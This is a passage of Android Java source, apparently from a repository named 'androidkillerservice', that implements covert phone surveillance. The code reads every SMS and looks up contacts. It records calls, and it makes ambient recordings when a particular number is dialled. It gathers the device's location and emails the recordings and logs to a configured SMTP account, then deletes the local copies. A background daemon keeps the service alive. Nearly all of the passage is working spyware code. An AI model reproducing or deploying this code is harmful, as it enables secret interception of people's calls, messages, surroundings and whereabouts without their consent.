| } 46 | 47 | public boolean isTonghualuyin() { 48 | return this.ps.getBoolean("tonghualuyin", false); 49 | } 50 | 51 | public boolean isWeizhijilu() { 52 | return this.ps.getBoolean("weizhijilu", false); 53 | } 54 | 55 | public boolean isAllnet() { 56 | return this.ps.getBoolean("allnet", false); 57 | } 58 | 59 | public boolean isWifi() { 60 | return this.ps.getBoolean("wifi", false); 61 | } 62 | 63 | public String getSmtp() { 64 | return this.ps.getString("smtp", ""); 65 | } 66 | 67 | public String getPort() { 68 | return this.ps.getString("port", ""); 69 | } 70 | 71 | public String getShoujiImei() { 72 | return this.ps.getString("shoujiimei", ""); 73 | } 74 | 75 | public String getCardIMSI() { 76 | return this.ps.getString("cardimsi", ""); 77 | } 78 | 79 | public String getCardNumber() { 80 | return this.ps.getString("cardnumber", ""); 81 | } 82 | 83 | } 84 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/service/OtherOperatorService.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.service; 2 | 3 | import android.app.ActivityManager; 4 | import android.app.Notification; 5 | import android.app.NotificationManager; 6 | import android.content.Context; 7 | import android.database.Cursor; 8 | import android.database.sqlite.SQLiteException; 9 | import android.net.ConnectivityManager; 10 | import android.net.NetworkInfo; 11 | import android.net.Uri; 12 | import android.os.Environment; 13 | import android.provider.ContactsContract; 14 | import android.support.v4.app.NotificationCompat; 15 | import android.support.v4.view.MotionEventCompat; 16 | import android.telephony.TelephonyManager; 17 | import android.util.Log; 18 | 19 | import com.elvishew.xlog.XLog; 20 | import com.shiliukeji.xc_lsy.androidkillerservice.mail.MailSenderInfo; 21 | import com.shiliukeji.xc_lsy.androidkillerservice.mail.SimpleMailSender; 22 | 23 | import org.apache.http.util.EncodingUtils; 24 | 25 | import java.io.File; 26 | import java.io.FileInputStream; 27 | import java.io.FileOutputStream; 28 | import java.io.UnsupportedEncodingException; 29 | import java.security.MessageDigest; 30 | import java.security.NoSuchAlgorithmException; 31 | import java.util.ArrayList; 32 | import java.util.Calendar; 33 | import java.util.Date; 34 | import java.util.LinkedList; 35 | import java.util.List; 36 | import java.util.Locale; 37 | import java.util.StringTokenizer; 38 | 39 | 40 | /** 41 | * Created by XC_LSY on 2017/7/6. 42 | */ 43 | 44 | public class OtherOperatorService { 45 | Context context; 46 | 47 | static class AnonymousClass1 implements Runnable { 48 | private final /* synthetic */ String val$content; 49 | private final /* synthetic */ String val$from; 50 | private final /* synthetic */ String val$password; 51 | private final /* synthetic */ String val$port; 52 | private final /* synthetic */ String val$smtp; 53 | private final /* synthetic */ String val$subject; 54 | private final /* synthetic */ String[] val$tos; 55 | private final /* synthetic */ String val$userEmail; 56 | 57 | AnonymousClass1(String str, String str2, String str3, String str4, String str5, String[] strArr, String str6, String str7) { 58 | this.val$smtp = str; 59 | this.val$port = str2; 60 | this.val$userEmail = str3; 61 | this.val$password = str4; 62 | this.val$from = str5; 63 | this.val$tos = strArr; 64 | this.val$subject = str6; 65 | this.val$content = str7; 66 | } 67 | 68 | public void run() { 69 | MailSenderInfo mailInfo = new MailSenderInfo(this.val$smtp, this.val$port, this.val$userEmail, this.val$password, true); 70 | mailInfo.setFromAddress(this.val$from); 71 | mailInfo.setReceivers(this.val$tos); 72 | mailInfo.setSubject(this.val$subject); 73 | mailInfo.setContent(this.val$content); 74 | new SimpleMailSender().sendHtmlMail(mailInfo); 75 | } 76 | } 77 | 78 | static class AnonymousClass2 implements Runnable { 79 | private final /* synthetic */ String val$content; 80 | private final /* synthetic */ String val$from; 81 | private final /* synthetic */ String val$password; 82 | private final /* synthetic */ String val$pathString; 83 | private final /* synthetic */ List val$paths; 84 | private final /* synthetic */ String val$port; 85 | private final /* synthetic */ String val$smtp; 86 | private final /* synthetic */ String val$subject; 87 | private final /* synthetic */ String val$to; 88 | private final /* synthetic */ String val$userEmail; 89 | 90 | AnonymousClass2(String str, String str2, String str3, String str4, String str5, String str6, String str7, String str8, List list, String str9) { 91 | this.val$smtp = str; 92 | this.val$port = str2; 93 | this.val$userEmail = str3; 94 | this.val$password = str4; 95 | this.val$from = str5; 96 | this.val$to = str6; 97 | this.val$subject = str7; 98 | this.val$content = str8; 99 | this.val$paths = list; 100 | this.val$pathString = str9; 101 | } 102 | 103 | public void run() { 104 | MailSenderInfo mailInfo = new MailSenderInfo(this.val$smtp, this.val$port, this.val$userEmail, this.val$password, true); 105 | mailInfo.setFromAddress(this.val$from); 106 | mailInfo.setToAddress(this.val$to); 107 | mailInfo.setSubject(this.val$subject); 108 | mailInfo.setContent(this.val$content); 109 | mailInfo.setAttachFileNames(this.val$paths); 110 | if (new SimpleMailSender().sendAttachMail(mailInfo)) { 111 | OtherOperatorService.deleteFile(this.val$paths); 112 | OtherOperatorService.deleteML(this.val$pathString); 113 | return; 114 | } 115 | File file = new File(this.val$pathString, "phone.txt"); 116 | if (file.exists()) { 117 | file.delete(); 118 | file = new File(this.val$pathString, "phone.txt"); 119 | } 120 | OtherOperatorService.txtFileSave(file, "1" + this.val$content); 121 | } 122 | } 123 | 124 | static class AnonymousClass3 implements Runnable { 125 | private final /* synthetic */ String val$content; 126 | private final /* synthetic */ String val$from; 127 | private final /* synthetic */ String val$password; 128 | private final /* synthetic */ String val$pathString; 129 | private final /* synthetic */ List val$paths; 130 | private final /* synthetic */ String val$port; 131 | private final /* synthetic */ String val$smtp; 132 | private final /* synthetic */ String val$subject; 133 | private final /* synthetic */ String val$to; 134 | private final /* synthetic */ String val$userEmail; 135 | 136 | AnonymousClass3(String str, String str2, String str3, String str4, String str5, String str6, String str7, String str8, List list, String str9) { 137 | this.val$smtp = str; 138 | this.val$port = str2; 139 | this.val$userEmail = str3; 140 | this.val$password = str4; 141 | this.val$from = str5; 142 | this.val$to = str6; 143 | this.val$subject = str7; 144 | this.val$content = str8; 145 | this.val$paths = list; 146 | this.val$pathString = str9; 147 | } 148 | 149 | public void run() { 150 | MailSenderInfo mailInfo = new MailSenderInfo(this.val$smtp, this.val$port, this.val$userEmail, this.val$password, true); 151 | mailInfo.setFromAddress(this.val$from); 152 | mailInfo.setToAddress(this.val$to); 153 | mailInfo.setSubject(this.val$subject); 154 | mailInfo.setContent(this.val$content); 155 | mailInfo.setAttachFileNames(this.val$paths); 156 | if (new SimpleMailSender().sendAttachMail(mailInfo)) { 157 | OtherOperatorService.deleteFile(this.val$paths); 158 | OtherOperatorService.deleteML(this.val$pathString); 159 | } 160 | } 161 | } 162 | 163 | public OtherOperatorService(Context context) { 164 | this.context = context; 165 | } 166 | 167 | public static String getPhoneImai(Context context) { 168 | return ((TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId().trim().toUpperCase(Locale.US); 169 | } 170 | 171 | public static boolean isServiceRunning(Context context) { 172 | for (ActivityManager.RunningServiceInfo service : ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getRunningServices(Integer.MAX_VALUE)) { 173 | if ("com.android.example.service.PhoneService".equals(service.service.getClassName())) { 174 | return true; 175 | } 176 | } 177 | return false; 178 | } 179 | 180 | public static void uploadEmail(String smtp, String port, String userEmail, String password, String from, String[] tos, String subject, String content) { 181 | XLog.d("TAG发送邮件信息!"); 182 | new Thread(new AnonymousClass1(smtp, port, userEmail, password, from, tos, subject, content)).start(); 183 | } 184 | 185 | public static void uploadEmail(List paths, String pathString, String smtp, String port, String userEmail, String password, String from, String to, String subject, String content) { 186 | XLog.d("TAG2 EmailSent"); 187 | new Thread(new AnonymousClass2(smtp, port, userEmail, password, from, to, subject, content, paths, pathString)).start(); 188 | } 189 | 190 | public static void uploadAllEmail(List paths, String pathString, String smtp, String port, String userEmail, String password, String from, String to, String subject, String content) { 191 | XLog.d("TAG2 EmailSent"); 192 | new Thread(new AnonymousClass3(smtp, port, userEmail, password, from, to, subject, content, paths, pathString)).start(); 193 | } 194 | 195 | public static void deleteFile(List paths) { 196 | if (paths != null) { 197 | for (String path : paths) { 198 | new File(path).delete(); 199 | } 200 | } 201 | } 202 | 203 | public static void deleteML(String path) { 204 | if (path != null) { 205 | File file = new File(path); 206 | if (file.isFile()) { 207 | file.delete(); 208 | } 209 | if (file.isDirectory()) { 210 | File[] childFiles = file.listFiles(); 211 | if (childFiles == null || childFiles.length == 0) { 212 | file.delete(); 213 | } 214 | for (File delete : childFiles) { 215 | delete.delete(); 216 | } 217 | file.delete(); 218 | } 219 | } 220 | } 221 | 222 | public static List getFilePathList(File path) { 223 | List filePathList = new ArrayList(); 224 | if (!path.isDirectory()) { 225 | return null; 226 | } 227 | File[] currentFiles = path.listFiles(); 228 | if (currentFiles.length <= 0) { 229 | return null; 230 | } 231 | for (File currentFile : currentFiles) { 232 | if (currentFile.length() != 0) { 233 | String filePath = currentFile.getAbsolutePath(); 234 | if (filePath.contains(".amr") || filePath.contains(".tb")) { 235 | filePathList.add(filePath); 236 | } 237 | } 238 | } 239 | return filePathList; 240 | } 241 | 242 | public static String getSmsInPhone(Context context) { 243 | String SMS_URI_ALL = "content://sms/"; 244 | StringBuilder smsBuilder = new StringBuilder(); 245 | try { 246 | Cursor cur = context.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc"); 247 | if (cur.moveToFirst()) { 248 | int nameColumn = cur.getColumnIndex("person"); 249 | int phoneNumberColumn = cur.getColumnIndex("address"); 250 | int smsbodyColumn = cur.getColumnIndex("body"); 251 | int dateColumn = cur.getColumnIndex("date"); 252 | int typeColumn = cur.getColumnIndex("type"); 253 | do { 254 | String type; 255 | String name = cur.getString(nameColumn); 256 | String phoneNumber = cur.getString(phoneNumberColumn); 257 | String smsbody = cur.getString(smsbodyColumn); 258 | String date = getCurrentTime(Long.valueOf(Long.parseLong(cur.getString(dateColumn)))); 259 | int typeId = cur.getInt(typeColumn); 260 | if (typeId == 1) { 261 | type = "收到"; 262 | } else if (typeId == 2) { 263 | type = "发出"; 264 | } else { 265 | type = ""; 266 | } 267 | smsBuilder.append(new StringBuilder(String.valueOf(date)).append(type).append(":
").toString()); 268 | smsBuilder.append("姓名:" + name + "
"); 269 | smsBuilder.append("号码:" + phoneNumber + "
"); 270 | smsBuilder.append("内容:" + smsbody + "
----------------------------------------
"); 271 | if (smsbody == null) { 272 | smsbody = ""; 273 | } 274 | } while (cur.moveToNext()); 275 | } else { 276 | smsBuilder.append("没有短信!"); 277 | } 278 | smsBuilder.append("已完成操作!"); 279 | } catch (SQLiteException ex) { 280 | Log.d("SE in getSmsInPhone", ex.getMessage()); 281 | } 282 | return smsBuilder.toString(); 283 | } 284 | 285 | public static void txtFileSave(File file, String filecontent) { 286 | try { 287 | FileOutputStream outStream = new FileOutputStream(file, true); 288 | outStream.write(filecontent.getBytes()); 289 | outStream.close(); 290 | } catch (Exception e) { 291 | e.printStackTrace(); 292 | } 293 | } 294 | 295 | public static String getTxtHistory(File file) { 296 | String res = ""; 297 | if (!file.exists()) { 298 | return ""; 299 | } 300 | try { 301 | FileInputStream fin = new FileInputStream(file.getAbsolutePath()); 302 | byte[] buffer = new byte[fin.available()]; 303 | fin.read(buffer); 304 | res = new StringBuilder(String.valueOf(res)).append(EncodingUtils.getString(buffer, "UTF-8")).toString(); 305 | fin.close(); 306 | } catch (Exception e) { 307 | e.printStackTrace(); 308 | } 309 | return res; 310 | } 311 | 312 | public static String setJtingPath(Context context) { 313 | if ("mounted".equals(Environment.getExternalStorageState())) { 314 | return new StringBuilder(String.valueOf(Environment.getExternalStorageDirectory().getAbsolutePath())).append("/PhoneSystem").toString(); 315 | } 316 | return new StringBuilder(String.valueOf(context.getApplicationContext().getFilesDir().getAbsolutePath())).append("/PhoneSystem").toString(); 317 | } 318 | 319 | public static boolean checkAllNetwork(Context context) { 320 | NetworkInfo info = ((ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE)).getActiveNetworkInfo(); 321 | if (info != null && info.isConnected() && info.isAvailable()) { 322 | return true; 323 | } 324 | return false; 325 | } 326 | 327 | public static boolean check3Gwifi(Context context) { 328 | ConnectivityManager manager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); 329 | NetworkInfo infoM = manager.getNetworkInfo(0); 330 | if (manager.getNetworkInfo(1).isConnected() || infoM.isConnected()) { 331 | return true; 332 | } 333 | return false; 334 | } 335 | 336 | public static boolean checkwifiwork(Context context) { 337 | if (((ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE)).getNetworkInfo(1).isConnected()) { 338 | return true; 339 | } 340 | return false; 341 | } 342 | 343 | public static String getTimeLenth(long start, long stop) { 344 | int temp = (int) (stop - start); 345 | int hour = temp / 3600000; 346 | int min = (temp - (3600000 * hour)) / 60000; 347 | return new StringBuilder(String.valueOf(hour)).append("时").append(min).append("分") 348 | .append(((temp - (hour * 3600000)) - (min * 60000)) / 1000).append("秒").toString(); 349 | } 350 | 351 | public static String getCurrentTime() { 352 | Date date = new Date(System.currentTimeMillis()); 353 | Calendar cal = Calendar.getInstance(); 354 | cal.setTime(date); 355 | return cal.get(Calendar.YEAR) + "年" + (cal.get(Calendar.MONTH) + 1) + "月" 356 | + cal.get(Calendar.DAY_OF_MONTH) + "日" + cal.get(Calendar.HOUR) + ":" 357 | + cal.get(Calendar.MINUTE) + ":" + cal.get(Calendar.SECOND); 358 | } 359 | 360 | public static String getCurrentTime(Long d) { 361 | Date date = new Date(d.longValue()); 362 | Calendar cal = Calendar.getInstance(); 363 | cal.setTime(date); 364 | return cal.get(Calendar.YEAR) + "年" + (cal.get(Calendar.MONTH) + 1) + "月" 365 | + cal.get(Calendar.DAY_OF_MONTH) + "日" + cal.get(Calendar.HOUR) + ":" 366 | + cal.get(Calendar.MINUTE) + ":" + cal.get(Calendar.SECOND); 367 | } 368 | 369 | public static String getCurrentYMD() { 370 | Date date = new Date(System.currentTimeMillis()); 371 | Calendar cal = Calendar.getInstance(); 372 | cal.setTime(date); 373 | return cal.get(Calendar.YEAR) + "年" + (cal.get(Calendar.MONTH) + 1) + "月" 374 | + cal.get(Calendar.DAY_OF_MONTH) + "日"; 375 | } 376 | 377 | public static String getContactNameFromPhoneBook(Context context, String phoneNum) { 378 | String contactName = ""; 379 | Cursor pCur = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "data1 = ?", new String[]{phoneNum}, null); 380 | if (pCur.moveToFirst()) { 381 | contactName = pCur.getString(pCur.getColumnIndex("display_name")); 382 | pCur.close(); 383 | } 384 | if ("".equals(contactName) || contactName == null) { 385 | return "匿名号码"; 386 | } 387 | return contactName; 388 | } 389 | 390 | public static String MD5(String str) { 391 | MessageDigest messageDigest = null; 392 | try { 393 | messageDigest = MessageDigest.getInstance("MD5"); 394 | messageDigest.reset(); 395 | messageDigest.update(str.getBytes("UTF-8")); 396 | } catch (NoSuchAlgorithmException e) { 397 | e.printStackTrace(); 398 | } catch (UnsupportedEncodingException e2) { 399 | e2.printStackTrace(); 400 | } 401 | byte[] byteArray = messageDigest.digest(); 402 | StringBuffer md5StrBuff = new StringBuffer(); 403 | for (int i = 0; i < byteArray.length; i++) { 404 | if (Integer.toHexString(byteArray[i] & MotionEventCompat.ACTION_MASK).length() == 1) { 405 | md5StrBuff.append("0").append(Integer.toHexString(byteArray[i] & MotionEventCompat.ACTION_MASK)); 406 | } else { 407 | md5StrBuff.append(Integer.toHexString(byteArray[i] & MotionEventCompat.ACTION_MASK)); 408 | } 409 | } 410 | return md5StrBuff.toString().toUpperCase(Locale.US); 411 | } 412 | 413 | public static boolean isReg(String arg0, String arg1, String arg2) { 414 | if ("".equals(arg0) || arg0 == null) { 415 | return false; 416 | } 417 | if ("".equals(arg1) || arg1 == null) { 418 | return false; 419 | } 420 | if ("".equals(arg2) || arg2 == null) { 421 | return false; 422 | } 423 | // try { 424 | // String g = MD5(new StringBuilder(String.valueOf(arg0)).append("0o").toString()); 425 | // String h = MD5(new StringBuilder(String.valueOf(arg1)).append("0o").toString()); 426 | // int i = Integer.parseInt(arg2.substring(0, 1)); 427 | // int j = Integer.parseInt(arg2.substring(arg2.length() - 1, arg2.length())); 428 | // String m = new StringBuilder(String.valueOf(i)).append(g.substring(j, i + j)).append(j).toString(); 429 | // String n = new StringBuilder(String.valueOf(i)).append(h.substring(j, i + j)).append(j).toString(); 430 | // if (m.equals(arg2) || n.equals(arg2)) { 431 | // return true; 432 | // } 433 | // } catch (Exception e) { 434 | // e.printStackTrace(); 435 | // } 436 | return true; 437 | } 438 | 439 | public static void showNotisfy(Context context, int icon, String tickertext, String title, String content) { 440 | Notification notification = null; 441 | NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(context); 442 | mBuilder.setContentTitle(title) 443 | .setContentInfo(content); 444 | notification = mBuilder.build(); 445 | ((NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE)).notify(10, notification); 446 | } 447 | 448 | public static String getImei(Context context, int i) { 449 | String szImei = ((TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId().trim().toUpperCase(Locale.US); 450 | if (szImei != null && !"".equals(szImei)) { 451 | return szImei.substring(szImei.length() - i, szImei.length()); 452 | } 453 | for (int j = 0; j < i; j++) { 454 | szImei = new StringBuilder(String.valueOf(szImei)).append("9").toString(); 455 | } 456 | return szImei; 457 | } 458 | 459 | public static String getCardName(String arg0) { 460 | if (arg0.startsWith("46000") || arg0.startsWith("46002")) { 461 | return "中国移动卡"; 462 | } 463 | if (arg0.startsWith("46001")) { 464 | return "中国联通卡"; 465 | } 466 | if (arg0.startsWith("46003")) { 467 | return "中国电信卡"; 468 | } 469 | return "无卡或无效卡"; 470 | } 471 | 472 | public static String getSubstring(String string) { 473 | try { 474 | String[] tempc = toArray(myReplace(string.substring(string.indexOf("[") + 1, string.indexOf("]")), "},", "}|"), "|"); 475 | String newString = ""; 476 | for (String myReplace : tempc) { 477 | String temp = myReplace(myReplace(myReplace(myReplace(myReplace, "\"addr\":\"", "*"), "\",\"dis", "#"), "\"name\":\"", "["), "\",\"tel", "]"); 478 | int names = temp.indexOf("["); 479 | newString = new StringBuilder(String.valueOf(newString)).append(temp.substring(names + 1, temp.indexOf("]"))).append("(").append(temp.substring(temp.indexOf("*") + 1, temp.indexOf("#"))).append(");").toString(); 480 | } 481 | return newString; 482 | } catch (Exception e) { 483 | return "err" + string; 484 | } 485 | } 486 | 487 | public static String myReplace(String s, String org, String ob) { 488 | String newString = ""; 489 | while (s.indexOf(org) != -1) { 490 | int first = s.indexOf(org); 491 | if (first != s.length()) { 492 | newString = new StringBuilder(String.valueOf(newString)).append(s.substring(0, first)).append(ob).toString(); 493 | s = s.substring(org.length() + first, s.length()); 494 | } 495 | } 496 | return new StringBuilder(String.valueOf(newString)).append(s).toString(); 497 | } 498 | 499 | public static String[] toArray(String oriString, String separator) { 500 | if (oriString == null) { 501 | throw new NullPointerException("The parameter [string] cannot be null."); 502 | } else if (separator == null) { 503 | throw new NullPointerException("The parameter [separator] cannot be null."); 504 | } else if (separator.length() == 0) { 505 | throw new IllegalArgumentException("The parameter [separator] cannot be empty."); 506 | } else { 507 | StringTokenizer st = new StringTokenizer(oriString, separator); 508 | List list = new LinkedList(); 509 | while (st.hasMoreTokens()) { 510 | list.add(st.nextToken()); 511 | } 512 | return (String[]) list.toArray(new String[list.size()]); 513 | } 514 | } 515 | 516 | } 517 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/service/PhoneService.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.service; 2 | 3 | import android.app.Service; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.content.SharedPreferences; 7 | import android.media.MediaRecorder; 8 | import android.os.IBinder; 9 | import android.support.annotation.Nullable; 10 | import android.telephony.PhoneStateListener; 11 | import android.telephony.TelephonyManager; 12 | import android.util.Log; 13 | 14 | import com.elvishew.xlog.XLog; 15 | import com.shiliukeji.xc_lsy.androidkillerservice.R; 16 | import com.shiliukeji.xc_lsy.androidkillerservice.location.Location; 17 | import com.xdandroid.hellodaemon.AbsWorkService; 18 | 19 | import java.io.File; 20 | import java.util.List; 21 | 22 | import io.reactivex.disposables.Disposable; 23 | 24 | /** 25 | * Created by XC_LSY on 2017/7/6. 26 | */ 27 | 28 | public class PhoneService extends AbsWorkService { 29 | private static MediaRecorder mediaRecorder; 30 | private String addr; 31 | private String baiduMap; 32 | private File file; 33 | private File filedir; 34 | private boolean huanjingluyinFlag = false; 35 | private boolean incomingFlag = false; 36 | private String incoming_number; 37 | private boolean isPath = false; 38 | private boolean isRecord = false; 39 | private boolean isSended = false; 40 | public String outphoneNumber; 41 | private String pName; 42 | private GetSharePrefe paras; 43 | private String path; 44 | private String phoneNumber; 45 | private String poiString; 46 | private String shoujiName; 47 | private long startTime = 0; 48 | private long stopTime = 0; 49 | private SharedPreferences zcps; 50 | 51 | //是否 任务完成, 不再需要服务运行? 52 | public static boolean sShouldStopService = false; 53 | public static Disposable sDisposable; 54 | 55 | public static void stopService() { 56 | //我们现在不再需要服务运行了, 将标志位置为 true 57 | sShouldStopService = true; 58 | //取消对任务的订阅 59 | if (sDisposable != null) sDisposable.dispose(); 60 | //取消 Job / Alarm / Subscription 61 | cancelJobAlarmSub(); 62 | } 63 | 64 | private final class myPhoneStateListener extends PhoneStateListener { 65 | private myPhoneStateListener() { 66 | } 67 | 68 | public void onCallStateChanged(int state, String incomingNumber) { 69 | switch (state) { 70 | case 0: 71 | if (PhoneService.mediaRecorder == null || !PhoneService.this.isRecord || PhoneService.this.file.length() <= 400) { 72 | PhoneService.mediaRecorder = null; 73 | PhoneService.this.isRecord = false; 74 | } else { 75 | PhoneService.this.stopRecording(); 76 | } 77 | if (PhoneService.this.startTime != 0) { 78 | PhoneService.this.stopTime = System.currentTimeMillis(); 79 | String temp = PhoneService.this.getNowState(); 80 | if (PhoneService.this.paras.isWeizhijilu()) { 81 | PhoneService.this.getUserLocation(); 82 | } 83 | String subject = new StringBuilder(String.valueOf(PhoneService.this.shoujiName)).append("发来--电话邮件(").append(temp).append(";位置:").append(PhoneService.this.addr).append(")").toString(); 84 | String content = "邮件标题:" + subject + "
" + temp + "(" + PhoneService.this.pName + ")
通话时长:" + OtherOperatorService.getTimeLenth(PhoneService.this.startTime, PhoneService.this.stopTime) + "(开始时间:" + OtherOperatorService.getCurrentTime(Long.valueOf(PhoneService.this.startTime)) + ")" + "
通话内容:见附件" + PhoneService.this.phoneNumber + "
附近信息:" + PhoneService.this.poiString + "
" + PhoneService.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneService.this.filedir, "phone.txt")); 85 | if (OtherOperatorService.check3Gwifi(PhoneService.this.getApplicationContext())) { 86 | if (!PhoneService.this.isSended && PhoneService.this.paras.isUserSetOk()) { 87 | String smtp = PhoneService.this.paras.getSmtp(); 88 | String port = PhoneService.this.paras.getPort(); 89 | String useremail = PhoneService.this.paras.getUserEmail(); 90 | String password = PhoneService.this.paras.getUserPassword(); 91 | if (PhoneService.this.file.exists()) { 92 | List paths = OtherOperatorService.getFilePathList(PhoneService.this.filedir); 93 | if (PhoneService.this.paras.isAllnet()) { 94 | OtherOperatorService.uploadEmail(paths, PhoneService.this.path, smtp, port, useremail, password, useremail, useremail, subject, content); 95 | PhoneService.this.sendTongZhi(useremail, temp); 96 | } else if (PhoneService.this.paras.isWifi() && OtherOperatorService.checkwifiwork(PhoneService.this.getApplicationContext())) { 97 | OtherOperatorService.uploadEmail(paths, PhoneService.this.path, smtp, port, useremail, password, useremail, useremail, subject, content); 98 | PhoneService.this.sendTongZhi(useremail, temp); 99 | } else { 100 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt"); 101 | if (PhoneService.this.file.exists()) { 102 | PhoneService.this.file.delete(); 103 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt"); 104 | } 105 | OtherOperatorService.txtFileSave(PhoneService.this.file, "1" + content); 106 | } 107 | } else { 108 | OtherOperatorService.uploadEmail(smtp, port, useremail, password, useremail, new String[]{useremail}, subject, content); 109 | PhoneService.this.sendTongZhi(useremail, temp); 110 | } 111 | PhoneService.this.isSended = true; 112 | PhoneService.this.startTime = 0; 113 | PhoneService.this.stopTime = 0; 114 | PhoneService.this.incomingFlag = false; 115 | PhoneService.this.file = null; 116 | PhoneService.this.filedir = null; 117 | PhoneService.this.path = null; 118 | PhoneService.this.phoneNumber = null; 119 | PhoneService.this.outphoneNumber = null; 120 | PhoneService.this.pName = null; 121 | PhoneService.this.isRecord = false; 122 | PhoneService.this.isPath = false; 123 | return; 124 | } 125 | return; 126 | } else if (!"".equals(subject)) { 127 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt"); 128 | if (PhoneService.this.file.exists()) { 129 | PhoneService.this.file.delete(); 130 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt"); 131 | } 132 | OtherOperatorService.txtFileSave(PhoneService.this.file, "0" + content); 133 | PhoneService.this.startTime = 0; 134 | PhoneService.this.stopTime = 0; 135 | PhoneService.this.incomingFlag = false; 136 | PhoneService.this.file = null; 137 | PhoneService.this.filedir = null; 138 | PhoneService.this.path = null; 139 | PhoneService.this.phoneNumber = null; 140 | PhoneService.this.outphoneNumber = null; 141 | PhoneService.this.pName = null; 142 | subject = ""; 143 | PhoneService.this.isRecord = false; 144 | PhoneService.this.isPath = false; 145 | return; 146 | } else { 147 | return; 148 | } 149 | } 150 | PhoneService.this.incomingFlag = false; 151 | return; 152 | case 1: 153 | PhoneService.this.incomingFlag = true; 154 | PhoneService.this.incoming_number = incomingNumber; 155 | PhoneService.this.pName = OtherOperatorService.getContactNameFromPhoneBook(PhoneService.this.getApplicationContext(), incomingNumber); 156 | return; 157 | case 2: 158 | if (PhoneService.mediaRecorder == null && !PhoneService.this.isRecord) { 159 | PhoneService.this.readyFile(); 160 | PhoneService.this.isSended = false; 161 | if (PhoneService.this.paras.isTonghualuyin() && PhoneService.this.isPath) { 162 | PhoneService.this.startRecording(); 163 | return; 164 | } 165 | return; 166 | } 167 | return; 168 | default: 169 | return; 170 | } 171 | } 172 | } 173 | 174 | public IBinder onBind(Intent intent) { 175 | return null; 176 | } 177 | 178 | @Override 179 | public Boolean shouldStopService(Intent intent, int flags, int startId) { 180 | return sShouldStopService; 181 | } 182 | 183 | @Override 184 | public void startWork(Intent intent, int flags, int startId) { 185 | Location location = new Location(); 186 | Location.updateListener(); 187 | try { 188 | this.outphoneNumber = intent.getExtras().getString("outNumber"); 189 | XLog.d("获取电话号码:" + outphoneNumber); 190 | this.pName = OtherOperatorService.getContactNameFromPhoneBook(getApplicationContext(), this.outphoneNumber); 191 | } catch (Exception e) { 192 | e.printStackTrace(); 193 | XLog.d("未获取电话号码"); 194 | } 195 | this.paras = new GetSharePrefe(getApplicationContext()); 196 | this.zcps = getApplicationContext().getSharedPreferences("reg", 0); 197 | this.shoujiName = this.paras.getShoujiName(); 198 | if (this.outphoneNumber == null || this.outphoneNumber.length() >= 3) { 199 | if (!this.isRecord) { 200 | ((TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE)).listen(new myPhoneStateListener(), 32); 201 | } 202 | } else if (!this.isRecord) { 203 | this.huanjingluyinFlag = true; 204 | readyFile(); 205 | new Thread(new Runnable() { 206 | public void run() { 207 | try { 208 | if (PhoneService.this.isPath) { 209 | PhoneService.this.startRecording(); 210 | } 211 | Thread.sleep((long) ((Integer.parseInt(PhoneService.this.outphoneNumber) * 60) * 1000)); 212 | if (PhoneService.mediaRecorder == null || !PhoneService.this.isRecord) { 213 | PhoneService.mediaRecorder = null; 214 | PhoneService.this.isRecord = false; 215 | } else { 216 | PhoneService.this.stopRecording(); 217 | PhoneService.this.stopTime = System.currentTimeMillis(); 218 | } 219 | String temp = PhoneService.this.getNowState(); 220 | PhoneService.this.huanjingluyinFlag = false; 221 | if (PhoneService.this.paras.isWeizhijilu()) { 222 | PhoneService.this.getUserLocation(); 223 | } 224 | String subject = new StringBuilder(String.valueOf(PhoneService.this.shoujiName)).append("发来--环录邮件(").append(temp).append(";位置:").append(PhoneService.this.addr).append(")").toString(); 225 | String content = "邮件标题:" + subject + "
" + temp + "
" + "
环录内容:见附件" + PhoneService.this.phoneNumber + "
附近信息:" + PhoneService.this.poiString + "
" + PhoneService.this.baiduMap + "
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(PhoneService.this.filedir, "phone.txt")); 226 | if (OtherOperatorService.checkwifiwork(PhoneService.this.getApplicationContext())) { 227 | String smtp = PhoneService.this.paras.getSmtp(); 228 | String port = PhoneService.this.paras.getPort(); 229 | String useremail = PhoneService.this.paras.getUserEmail(); 230 | String password = PhoneService.this.paras.getUserPassword(); 231 | if (PhoneService.this.file.exists()) { 232 | OtherOperatorService.uploadEmail(OtherOperatorService.getFilePathList(PhoneService.this.filedir), PhoneService.this.path, smtp, port, useremail, password, useremail, useremail, subject, content); 233 | } else { 234 | String str = smtp; 235 | String str2 = port; 236 | String str3 = useremail; 237 | String str4 = password; 238 | String str5 = useremail; 239 | OtherOperatorService.uploadEmail(str, str2, str3, str4, str5, new String[]{useremail}, subject, "录音文件不存在,本次环境录音未成功"); 240 | } 241 | } else { 242 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt"); 243 | if (PhoneService.this.file.exists()) { 244 | PhoneService.this.file.delete(); 245 | PhoneService.this.file = new File(PhoneService.this.filedir, "phone.txt"); 246 | } 247 | OtherOperatorService.txtFileSave(PhoneService.this.file, "0" + content); 248 | } 249 | PhoneService.this.startTime = 0; 250 | PhoneService.this.file = null; 251 | PhoneService.this.filedir = null; 252 | PhoneService.this.path = null; 253 | 